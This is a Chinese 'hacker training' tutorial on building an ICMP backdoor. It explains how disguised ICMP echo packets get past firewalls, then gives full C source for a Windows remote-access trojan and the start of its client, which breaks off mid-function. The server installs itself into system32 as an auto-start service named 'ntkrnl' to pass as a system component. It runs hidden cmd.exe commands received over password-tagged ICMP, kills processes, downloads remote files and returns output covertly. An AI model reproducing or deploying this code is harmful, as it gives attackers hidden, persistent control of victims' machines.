黑客修炼

1 关于icmp的介绍
     ICMP 的全称为(Internet Control Message Protocal)。它是一种差错报告机制,可以被用来向目的主机报告或者请求各种网络信息。这些信息包括回送应答(ping),目的地不可达,源站抑制,回送请求,掩码请求和掩码应答,还有是路由跟踪等。这些信息是用ICMP数据报报头中一个字节长度的类型码来区别的。
    ICMP协议有一个特点是它是无连结的,是由IP模块实现。由于IP层协议是一种点对点的协议,而非端对端的协议,它提供无连接的数据报服务,没有端口的概念,因此,我们只需要设置IP地址就能发送ICMP数据。我们可以在ICMP包中添加数据进行发送,就像利用TCP连接发送数据那样。
    ICMP的数据报是封装在IP报头里的。与其它协议的数据报一样,它也是由报头加上数据部分构成的,其报头的格式一个结构结构来表示:(要注意里面的顺序不能搞错)
typedef struct _ihdr
{
BYTE i_type;//8位类型
BYTE i_code; //8位代码
USHORT i_cksum;//16位校验和
USHORT i_id;//标识号
USHORT i_seq;//报文序列号
ULONG timestamp;//时间截
} IcmpHeader;

理论上的ICMP报文最多可以携带65500byte的数据。
2 icmp可以穿透防火墙的原因
    当我们ping别人时,我们发出的是类型为8的ICMP数据包,而别人收到这个数据包就会返回一个类型为0的ICMP数据包。防火墙允许我们ping别人,实际上就是允许类型为8的ICMP包出去同时允许类型为0的ICMP包进来。而别人ping我们时,发给我们的是类型为8的ICMP数据包,这时这个数据包就会被防火墙拦截了。
    防火墙允许自己ping别人,就一定会让类型为8的ICMP包出去和让类型为0的ICMP包进来。所以,把带有命令的ICMP包伪装成类型为0的ICMP包,防火墙就以为是你ping别人后返回的ICMP包,这个包就可以进来了。而带有执行结果的ICMP包我们就把它做成类型为8的发出去,防火墙会以为你想ping别人,那么这个包也就可以出去了。这样就可以穿透防火墙了哦。

3 icmp后门的整体思路
    首先,我们要自己构造ICMP数据包,然后往数据包的后面添加上我们要远端主机执行的命令再把数据包发送到远端主机。远端主机要想收到我们的数据包,这时就要用到socket raw编程,也就是创建一个sniff来嗅探ICMP类型的数据包。收到数据包后,要进行解包,把ICMP数据包后面的命令提取出来,然后处理执行。再把执行的结果又放进一个ICMP数据包里,再发回给客户端。客户段把结果提取出来,打印在屏幕上。这就是基本的实现原理。

4    测试环境:
服务端:xpsp3    192.168.1.55
客户端: xpsp3    192.168.1.66

http服务器 win7   192.168.1.100



测试结果:
1服务的安装

2程序将exe文件拷贝到system32下,并注册为服务。

3 进程的列出

4 杀进程

5 http下载

6 下载成功


// service.cpp:
#include <winsock2.h>
#include <stdio.h>
#include <urlmon.h> 
#include <tlhelp32.h>
#pragma comment(lib, "Urlmon.lib")
#pragma comment(lib, "ws2_32.lib")

#define ICMP_PASSWORD 1234                                             
#define STATUS_FAILED 0xFFFF
#define MAX_PACKET 6500
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))


/* The IP header */
typedef struct iphdr {
	unsigned int h_len:4; //4位首部长度
	unsigned int version:4; //IP版本号,4表示IPV4
	unsigned char tos; //8位服务类型TOS
	unsigned short total_len; //16位总长度(字节)
	unsigned short ident; //16位标识
	unsigned short frag_and_flags; //3位标志位
	unsigned char ttl; //8位生存时间 TTL
	unsigned char proto; //8位协议 (TCP, UDP 或其他)
	unsigned short checksum; //16位IP首部校验和
	unsigned int sourceIP; //32位源IP地址
	unsigned int destIP; //32位目的IP地址
}IpHeader;


//定义ICMP首部
typedef struct _ihdr 
{
	BYTE i_type; //8位类型
	BYTE i_code; //8位代码
	USHORT i_cksum; //16位校验和 
	USHORT i_id; //识别号(一般用进程号作为识别号)
	USHORT i_seq; //报文序列号 
	ULONG timestamp; //时间戳
}IcmpHeader;

char arg[256];
char buffer[2048] = {0};//管道输出的数据
void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
void fill_icmp_data(char * icmp_data);
void pslist(void);
BOOL killps(DWORD id);//杀进程函数
void send(void);
char *ICMP_DEST_IP;
USHORT checksum(USHORT *buffer, int size);



HANDLE                 hMutex;
SERVICE_STATUS         ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;

void   WINAPI ICMP_CmdStart(DWORD,LPTSTR *);
void   WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
void   InstallCmdService(void);
void   RemoveCmdService(void);
void   usage(char *par);

int main(int argc,char *argv[])
{
	SERVICE_TABLE_ENTRY DispatchTable[]={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}};
	//说明服务的一些相关信息,服务名,服务主函数ICMP_CmdStart

	if(argc==2)//传入参数为2时
	{
		if(!stricmp(argv[1],"-install"))
		{
			usage(argv[0]);
			InstallCmdService();//服务安装
		}
		else if(!stricmp(argv[1],"-remove"))
		{
			usage(argv[0]);
			RemoveCmdService();//卸载服务
		}
		else 
			usage(argv[0]);
		return 0;
	}
	else 
		usage(argv[0]);

	StartServiceCtrlDispatcher(DispatchTable);//将服务主线程连接到scm,调用ICMP_CmdStart

	return 0;
}

void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
	HANDLE     hThread;

	ServiceStatus.dwServiceType              = SERVICE_WIN32;
	ServiceStatus.dwCurrentState             = SERVICE_START_PENDING;
	ServiceStatus.dwControlsAccepted         = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
	ServiceStatus.dwServiceSpecificExitCode = 0;
	ServiceStatus.dwWin32ExitCode            = 0;
	ServiceStatus.dwCheckPoint               = 0;
	ServiceStatus.dwWaitHint                 = 0;

	ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);//将CmdControl注册,用于处理服务控制请求
	if(ServiceStatusHandle==0)
	{
		OutputDebugString("RegisterServiceCtrlHandler Error !\n");
		return ;
	}

	ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	ServiceStatus.dwCheckPoint    = 0;
	ServiceStatus.dwWaitHint      = 0;

	if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)//更新状态信息
	{
		OutputDebugString("SetServiceStatus in CmdStart Error !\n");
		return ;
	}

	hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);//创建新线程
	if(hThread==NULL)
	{
		OutputDebugString("CreateThread in CmdStart Error !\n");

	}

	return ;
}

void WINAPI CmdControl(DWORD dwCode)
{
	switch(dwCode)
	{
	case SERVICE_CONTROL_PAUSE:
		ServiceStatus.dwCurrentState = SERVICE_PAUSED;
		break;

	case SERVICE_CONTROL_CONTINUE:
		ServiceStatus.dwCurrentState = SERVICE_RUNNING;
		break;

	case SERVICE_CONTROL_STOP:      
		WaitForSingleObject(hMutex,INFINITE);

		ServiceStatus.dwCurrentState   = SERVICE_STOPPED;
		ServiceStatus.dwWin32ExitCode = 0;
		ServiceStatus.dwCheckPoint     = 0;
		ServiceStatus.dwWaitHint       = 0;
		if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
		{
			OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
		}

		ReleaseMutex(hMutex);
		CloseHandle(hMutex);
		return ;

	case SERVICE_CONTROL_INTERROGATE:
		break;

	default:
		break;
	}

	if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)//更改服务状态
	{
		OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
	}

	return ;
}

DWORD WINAPI CmdService(LPVOID lpParam)//这里是服务的主函数,把你的代码写在这里就可以成为服务
{   
	char *icmp_data;
	int bread,datasize,retval;
	SOCKET sockRaw = (SOCKET)NULL;
	WSADATA wsaData;
	struct sockaddr_in dest,from;
	int fromlen = sizeof(from);
	int timeout = 2000;
	char *recvbuf;

	if ((retval = WSAStartup(MAKEWORD(2,2),&wsaData)) != 0)//初始化winsock
	{
		printf("WSAStartup failed: %s\n",retval);
		ExitProcess(STATUS_FAILED);
	}

	sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);//创建icmp原始套接字
	if (sockRaw == INVALID_SOCKET)
	{
		printf("WSASocket() failed: %s\n",WSAGetLastError());
		ExitProcess(STATUS_FAILED);
	}
	__try{
		bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));//设置超时

		if(bread == SOCKET_ERROR) __leave;


		memset(&dest,0,sizeof(dest));
		dest.sin_family = AF_INET;
		datasize=0;
		datasize += sizeof(IcmpHeader); 
		icmp_data =(char*)xmalloc(MAX_PACKET);
		recvbuf = (char*)xmalloc(MAX_PACKET);
		if (!icmp_data) {
			//fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());
			__leave;
		}
		memset(icmp_data,0,MAX_PACKET);
		for(;;) {

			int bwrote;
			bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));//向客户端发送数据

			bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);//接受数据
			if (bread == SOCKET_ERROR)
			{
				if (WSAGetLastError() == WSAETIMEDOUT)continue;

				__leave;

			}
			decode_resp(recvbuf,bread,&from);//解icmp包
			Sleep(200);
			memset(recvbuf,0,sizeof(recvbuf));
		}
	}
	__finally {
		if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
		WSACleanup();
	}
	return 0;
}

void InstallCmdService(void)
{
	SC_HANDLE         schSCManager;
	SC_HANDLE         schService;
	char              lpCurrentPath[MAX_PATH];
	char              lpImagePath[MAX_PATH];
	char              *lpHostName;
	WIN32_FIND_DATA   FileData;
	HANDLE            hSearch;
	DWORD             dwErrorCode;
	SERVICE_STATUS    InstallServiceStatus;

	///文件的拷贝/
	GetSystemDirectory(lpImagePath,MAX_PATH);//得到系统目录
	strcat(lpImagePath,"\\ntkrnl.exe");
	lpHostName=NULL;

	printf("Transmitting File ... ");

	hSearch=FindFirstFile(lpImagePath,&FileData);//查找是否已经存在
	if(hSearch==INVALID_HANDLE_VALUE)//不存在
	{
		GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);//获取程序全路径
		if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) //覆盖的方式拷贝
		{
			dwErrorCode=GetLastError();
			if(dwErrorCode==5)
			{
				printf("Failure ... Access is Denied !\n");         
			}
			else
			{
				printf("Failure !\n");
			}
			return ;
		}
		else
		{
			printf("Success !\n");
		}
	}
	else
	{
		printf("already Exists !\n");
		FindClose(hSearch);
	}

	schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);//连接到SCM
	if(schSCManager==NULL)
	{
		printf("Open Service Control Manager Database Failure !\n");
		return ;
	}

	printf("Creating Service .... ");
	schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
		SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
		SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); //创建服务
	if(schService==NULL)
	{
		dwErrorCode=GetLastError();
		if(dwErrorCode!=ERROR_SERVICE_EXISTS)
		{
			printf("Failure !\n");
			CloseServiceHandle(schSCManager);
			return ;
		}
		else
		{
			printf("already Exists !\n");
			schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);//打开已存在的服务
			if(schService==NULL)
			{
				printf("Opening Service .... Failure !\n");
				CloseServiceHandle(schSCManager);
				return ;
			}
		}
	}
	else
	{
		printf("Success !\n");
	}

	printf("Starting Service .... ");
	if(StartService(schService,0,NULL)==0)   //开启服务                       
	{
		dwErrorCode=GetLastError();
		if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
		{
			printf("already Running !\n");
			CloseServiceHandle(schSCManager);  
			CloseServiceHandle(schService);
			return ;
		}
	}
	else
	{


		printf("Pending ... ");
	}

	while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)       //获取当前服务状态     
	{
		if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
		{
			Sleep(100);
		}
		else
		{
			break;
		}
	}
	if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
	{
		printf("Failure !\n");                       
	}
	else
	{
		printf("Success !\n");
	}

	CloseServiceHandle(schSCManager);
	CloseServiceHandle(schService);//关闭服务句柄
	return ;
}

void RemoveCmdService(void) 
{
	SC_HANDLE         schSCManager;
	SC_HANDLE         schService;
	char              lpImagePath[MAX_PATH];
	char              *lpHostName;
	WIN32_FIND_DATA   FileData;
	SERVICE_STATUS    RemoveServiceStatus;
	HANDLE            hSearch;
	DWORD             dwErrorCode;


	GetSystemDirectory(lpImagePath,MAX_PATH);
	strcat(lpImagePath,"\\ntkrnl.exe");
	lpHostName=NULL;


	schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);//连接到scm
	if(schSCManager==NULL)
	{
		printf("Opening SCM ......... ");
		dwErrorCode=GetLastError();
		if(dwErrorCode!=5)
		{
			printf("Failure !\n"); 
		}
		else
		{
			printf("Failuer ... Access is Denied !\n");
		}
		return ;
	}

	schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);//打开服务
	if(schService==NULL) 
	{
		printf("Opening Service ..... ");
		dwErrorCode=GetLastError();
		if(dwErrorCode==1060)
		{
			printf("no Exists !\n");
		}
		else
		{
			printf("Failure !\n");
		}
		CloseServiceHandle(schSCManager);
	}
	else
	{
		printf("Stopping Service .... ");
		if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0) //获取服务状态
		{
			if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
			{
				printf("already Stopped !\n"); 
			}
			else
			{
				printf("Pending ... ");
				if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
					//停止服务
				{


					while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
					{
						Sleep(10);
						QueryServiceStatus(schService,&RemoveServiceStatus);
					}
					if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
					{
						printf("Success !\n");
					}
					else
					{
						printf("Failure !\n");
					}
				}
				else
				{
					printf("Failure !\n");          
				}
			}
		}
		else
		{
			printf("Query Failure !\n");
		}


		printf("Removing Service .... ");     
		if(DeleteService(schService)==0)//从scm数据库中删除服务
		{
			printf("Failure !\n");   
		}
		else
		{
			printf("Success !\n");
		}
	}

	CloseServiceHandle(schSCManager);        
	CloseServiceHandle(schService); //关闭服务句柄

	printf("Removing File ....... ");
	Sleep(1500);
	hSearch=FindFirstFile(lpImagePath,&FileData);//要删除的文件是否存在
	if(hSearch==INVALID_HANDLE_VALUE)
	{
		printf("no Exists !\n");
	}
	else
	{
		if(DeleteFile(lpImagePath)==0)//删除
		{
			printf("Failure !\n");               
		}
		else
		{
			printf("Success !\n");
		}
		FindClose(hSearch);
	}

	return ;
}

void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
{


	IpHeader *iphdr;
	IcmpHeader *icmphdr;
	unsigned short iphdrlen;
	iphdr = (IpHeader *)buf;
	iphdrlen = iphdr->h_len * 4 ; 
	icmphdr = (IcmpHeader*)(buf + iphdrlen);
	if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段
	{

		ICMP_DEST_IP=inet_ntoa(from->sin_addr);//取得ICMP包的源地址

		memcpy(arg,buf+iphdrlen+12,256);
		if (!memcmp(arg,"pskill",6))//传入命令为pskill
		{
			killps(atoi(strstr(arg," ")));
			memcpy(buffer,"Process is Killed!",sizeof("Process is Killed!"));
			send();
		}

		else if (!memcmp(arg,"pslist",6)){pslist();send();}
		else if (!strcmp(arg,"remove\n"))
		{
			RemoveCmdService();

			memcpy(buffer,"Service Removed!",sizeof("Service Removed!"));
			send();
			return;
		}
		************     http下载    *************
		else if (!memcmp(arg,"http://",7))   
		{
			if(char *FileName=strstr(arg,"-"))
			{

				char url[200];//保存网址的数组
				memset(url,0,200);
				memcpy(url,arg,int(FileName-arg-1));
				char fname[MAX_PATH];
				GetSystemDirectory(fname,MAX_PATH);//获得系统目录
				FileName++;
				strcat(fname,"\\");
				strcat(fname,FileName);
				*strstr(fname,"\n")=NULL;
				HRESULT hRet=URLDownloadToFile(0,url,fname,0,0);//下载到本地
				memset(buffer,0,sizeof(buffer));
				if(hRet==S_OK) memcpy(buffer,"Download OK!\n",sizeof("Download OK\n"));
				else 
					memcpy(buffer,"Download Failure!\n",sizeof("Download Failure!\n"));
				send();
				return;
			}
		}
		//**********************************其它命令,也就是命令行下命令*********
		else{

			SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
			HANDLE hRead,hWrite;
			sa.nLength = sizeof(SECURITY_ATTRIBUTES);
			sa.lpSecurityDescriptor = NULL;
			sa.bInheritHandle = TRUE;
			if (!CreatePipe(&hRead,&hWrite,&sa,0)) 
			{
				printf("Error On CreatePipe()");
				return;
			} 


			STARTUPINFO si;
			PROCESS_INFORMATION pi; 
			si.cb = sizeof(STARTUPINFO);
			GetStartupInfo(&si); 
			si.hStdError = hWrite;
			si.hStdOutput = hWrite;
			si.wShowWindow = SW_HIDE;
			si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;//隐藏窗口

			char cmdline[270];
			GetSystemDirectory(cmdline,MAX_PATH+1);

			strcat(cmdline,"\\cmd.exe /c"); //单管道

			strcat(cmdline,arg);
			if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
			{
				printf("Error on CreateProcess()");
				return;
			}
			CloseHandle(hWrite);


			DWORD bytesRead; 

			for(;;){

				if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break;
				Sleep(200);
			}
			//printf("%s",buffer);
			/
			//发送输出数据

			send();

		}
		


	}
	//else printf("Other ICMP Packets!\n");
	//printf(endl; 
}




USHORT checksum(USHORT *buffer, int size) //计算校验和
{
	unsigned long cksum=0;
	while(size >1) 
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size ) {
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}


void fill_icmp_data(char * icmp_data)
{

	IcmpHeader *icmp_hdr;
	char *datapart;
	icmp_hdr = (IcmpHeader*)icmp_data;
	icmp_hdr->i_type = 0;
	icmp_hdr->i_code = 0;
	icmp_hdr->i_id = (USHORT) GetCurrentProcessId();
	icmp_hdr->i_cksum = 0;
	icmp_hdr->i_seq =4321;
	icmp_hdr->timestamp = GetTickCount(); //设置时间戳
	datapart = icmp_data + sizeof(IcmpHeader);
	memcpy(datapart,buffer,strlen(buffer));
	//for(int i=0;i<sizeof(buffer);i++) datapart[i]=buffer[i]; 
}

void  usage(char *par)//用法函数
{
	printf("\t\tUsage: %s -install (to install service)\n",par);
	printf("\t\t        %s -remove (to remove service)\n",par);
	printf("\n");

	return ;
}

void send(void)
{

	WSADATA wsaData;
	SOCKET sockRaw = (SOCKET)NULL;
	struct sockaddr_in dest;
	int bread,datasize,retval,bwrote;
	int timeout = 1000;
	char *icmp_data;

	if((retval=WSAStartup(MAKEWORD(2,2),&wsaData)) != 0) ExitProcess(STATUS_FAILED);//初始化winsock
	if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))
		==INVALID_SOCKET) ExitProcess(STATUS_FAILED);
	__try
	{
		if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) __leave;
		//设置发送超时
		memset(&dest,0,sizeof(dest));
		dest.sin_family = AF_INET;
		dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);
		datasize=strlen(buffer);
		datasize+=sizeof(IcmpHeader); 
		icmp_data=(char*)xmalloc(MAX_PACKET);

		if(!icmp_data) __leave;
		memset(icmp_data,0,MAX_PACKET);

		fill_icmp_data(icmp_data); //填充ICMP报文
		((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); //计算校验和
		bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //发送报文

		if (bwrote == SOCKET_ERROR)
		{
			//if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
			//printf("sendto failed:"<<WSAGetLastError()<<endl;
			__leave;
		}

		//printf("Send Packet to %s Success!\n"<<ICMP_DEST_IP<<endl;
	}


	__finally 
	{
		if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
		WSACleanup();

	}
	memset(buffer,0,sizeof(buffer));
	Sleep(200);

}

void pslist(void)//列出进程
{
	HANDLE hProcessSnap = NULL;
	PROCESSENTRY32 pe32= {0};
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//创建当前所有进程的快照
	if (hProcessSnap == (HANDLE)-1)
	{
		printf("\nCreateToolhelp32Snapshot() failed:%d",GetLastError());
		return ;
	}
	pe32.dwSize = sizeof(PROCESSENTRY32);
	printf("\nProcessName          ProcessID");
	if (Process32First(hProcessSnap, &pe32))//取得快照中第一个进程信息
	{
		char a[5];

		do
		{
			strcat(buffer,pe32.szExeFile);//进程名
			strcat(buffer,"\t\t");
			itoa(pe32.th32ProcessID,a,10);//进程id
			strcat(buffer,a);
			strcat(buffer,"\n");
			//printf("\n%-20s%d",pe32.szExeFile,pe32.th32ProcessID);
		}
		while (Process32Next(hProcessSnap, &pe32));//去快照中的下一个进程

	}
	else
	{
		printf("\nProcess32Firstt() failed:%d",GetLastError());
	}
	CloseHandle (hProcessSnap);
	return;
}

BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)//提示权限
{
	TOKEN_PRIVILEGES tp;
	LUID luid;

	if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
	{
		printf("\nLookupPrivilegeValue error:%d", GetLastError() ); 
		return FALSE; 
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;
	// Enable the privilege or disable all privileges.
	AdjustTokenPrivileges(
		hToken, 
		FALSE, 
		&tp, 
		sizeof(TOKEN_PRIVILEGES), 
		(PTOKEN_PRIVILEGES) NULL, 
		(PDWORD) NULL); 
	// Call GetLastError to determine whether the function succeeded.
	if (GetLastError() != ERROR_SUCCESS) 
	{ 
		printf("AdjustTokenPrivileges failed: %u\n", GetLastError() ); 
		return FALSE; 
	} 
	return TRUE;
}

BOOL killps(DWORD id)//杀进程函数
{
	HANDLE hProcess=NULL,hProcessToken=NULL;
	BOOL IsKilled=FALSE,bRet=FALSE;
	__try
	{

		if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))//打开当前程序令牌
		{
			printf("\nOpen Current Process Token failed:%d",GetLastError());
			__leave;
		}
		//printf("\nOpen Current Process Token ok!");
		if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))//提升权限
		{
			__leave;
		}
		printf("\nSetPrivilege ok!");

		if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)//打开进程对象
		{
			printf("\nOpen Process %d failed:%d",id,GetLastError());
			__leave;
		}
		//printf("\nOpen Process %d ok!",id);
		if(!TerminateProcess(hProcess,1))//终止进程
		{
			printf("\nTerminateProcess failed:%d",GetLastError());
			__leave;
		}
		IsKilled=TRUE;
	}
	__finally
	{
		if(hProcessToken!=NULL) CloseHandle(hProcessToken);
		if(hProcess!=NULL) CloseHandle(hProcess);
	}
	return(IsKilled);
}

============================================================================================================

// 客户端client.cpp:
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h> 

#pragma comment(lib,"ws2_32.lib")//link

char SendMsg[256];

//定义ip首部
typedef struct iphdr {
	unsigned int h_len:4; //4位首部长度
	unsigned int version:4; //IP版本号,4表示IPV4
	unsigned char tos; //8位服务类型TOS
	unsigned short total_len; //16位总长度(字节)
	unsigned short ident; //16位标识
	unsigned short frag_and_flags; //3位标志位
	unsigned char ttl; //8位生存时间 TTL
	unsigned char proto; //8位协议 (TCP, UDP 或其他)
	unsigned short checksum; //16位IP首部校验和
	unsigned int sourceIP; //32位源IP地址
	unsigned int destIP; //32位目的IP地址
}IpHeader;



//定义icmp首部
typedef struct _ihdr
{
	BYTE i_type;//8位类型
	BYTE i_code; //8位代码
	USHORT i_cksum;//16位校验和
	USHORT i_id;//识别号(一般用进程号作为识别号)
	USHORT i_seq;//报文序列号
	ULONG timestamp;//时间截
} IcmpHeader;

#define STATUS_FAILED 0xFFFF

#define MAX_PACKET 2500
char arg[1450];

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s))//宏定义


void fill_icmp_data(char *, int);
USHORT checksum(USHORT *, int);

void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
void help(void);
void usage(char * prog);

int main(int argc, char *argv[])
{
	char *ICMP_DEST_IP; //目标主机的IP
	char *recvbuf;

	if(argc!=2) //传入参数个数不为2,显示用法,结束程序
	{
		usage(argv[0]);
		return 0;
	}

	ICMP_DEST_IP=argv[1];//取得目标主机IP
	WSADATA wsaData;
	SOCKET sockRaw;
	struct sockaddr_in dest,from;//两个sockaddr_in的变量
	int datasize;
	int fromlen=sizeof(from);

	char *icmp_data;




	if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)//初始化winsock
	{
		fprintf(stderr, "WSAStartup failed: %d\n", GetLastError());
		ExitProcess(STATUS_FAILED);
	}
	sockRaw=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
	int timeout=1000;
	//设置超时
	setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) &timeout, sizeof(timeout));
	//timeout=4000;
	//setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *) &timeout, sizeof(timeout));
	memset(&dest,0,sizeof(dest));
	dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP);
	dest.sin_family=AF_INET;

	usage(argv[0]);
	__try{
		for(;;){ //循环获取用户输入的命令,打包,发送至客户端,接受来自客户端的返回信息,然后显示。

			printf("ICMP-CMD>");
			fgets(SendMsg,1024,stdin);//取得命令行,保存在SendMsg数组中
			//传入参数的判断
			if(!strcmp(SendMsg,"Q\n")||!strcmp(SendMsg,"q\n"))ExitProcess(0);
			if(!strcmp(SendMsg,"\n"))continue;
			if(!strcmp(SendMsg,"H\n")||!strcmp(SendMsg,"h\n")){help();continue;}
			if(!memcmp(SendMsg,"http://",7))
				if(!strstr(SendMsg,"-")){printf("\nFileName Error. Use \"-FileName\"\n");continue;}

				datasize=strlen(SendMsg);
				datasize+=sizeof(IcmpHeader);
				printf("ICMP packet size is %d",datasize);//icmp数据包大小
				icmp_data= (char*)xmalloc(MAX_PACKET);
				recvbuf= (char *)xmalloc(MAX_PACKET);
				memset(icmp_data,0, MAX_PACKET);
				fill_icmp_data(icmp_data, datasize);
				((IcmpHeader *)icmp_data)->i_cksum=0;
				((IcmpHeader *)icmp_data)->i_cksum=checksum((USHORT *)icmp_data, datasize);//校验和

				int bwrote=sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr *) &dest, sizeof(dest));//向服务端发送icmp包

				if (bwrote == SOCKET_ERROR)
				{
					if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
					fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());

				}

				if (bwrote<datasize ) {//没有把所有的数据发送出去,也出错了。

					return 0;

				}

				printf("\nSend Packet to %s Success!\n",argv[1]);

				DWORD start = GetTickCount();//获取时间戳
				for(;;){
					if((GetTickCount() - start) >= 1000) break;
					memset(recvbuf,0,MAX_PACKET);
					int bread=recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr *) &from, &fromlen);//从服务端接受数据
					if(bread == SOCKET_ERROR)
					{
						if(WSAGetLastError() == WSAETIMEDOUT)
						{
							printf("timed out\n");
							break;
						}

						fprintf(stderr, "recvfrom failed: %d\n", WSAGetLastError());
						break;
					}

					decode_resp(recvbuf, bread, &from);//调用解包函数
				}
		}//end for

	}//end try




	__finally
	{
		if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
		WSACleanup();
	}

	return 0;
}


USHORT checksum(USHORT *buffer, int size)
{
	unsigned long cksum=0;

	while(size > 1)
	{
		cksum+=*buffer++;
		size-=sizeof(USHORT);
	}

	if(size)
	{
		cksum+=*(UCHAR *)buffer;
	}

	cksum=(cksum >> 16) + (cksum & 0xffff);
	cksum+=(cksum >> 16);
	return(USHORT) (~cksum);
}
void fill_icmp_data(char *icmp_data, int datasize)
{
	IcmpHeader *icmp_hdr;
	char *datapart;
	icmp_hdr= (IcmpHeader *)icmp_data;//强制类型转换
	icmp_hdr->i_type=0;
	icmp_hdr->i_code=0;
	icmp_hdr->i_id=(USHORT)GetCurrentProcessId();
	icmp_hdr->timestamp =GetTickCount();
	icmp_hdr->i_seq=1234;
	datapart=icmp_data + sizeof(IcmpHeader);
	memcpy(datapart,SendMsg,sizeof(SendMsg));

} 

void usage(char * prog)
{
	printf("\t\tusage: %s RemoteIP\n",prog);
	printf("\t\tCtrl+C or Q/q to Quite         H/h for help\n");
}




void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
{
	memset(arg,0,sizeof(arg));
	IpHeader *iphdr;
	IcmpHeader *icmphdr;
	unsigned short iphdrlen;
	iphdr = (IpHeader *)buf;
	iphdrlen = iphdr->h_len * 4 ; 
	icmphdr = (IcmpHeader*)(buf + iphdrlen);
	if(icmphdr->i_seq==4321)//密码正确则输出数据段
	{
		int argLen=0;
		printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
		printf(" IcmpType %d",icmphdr->i_type);
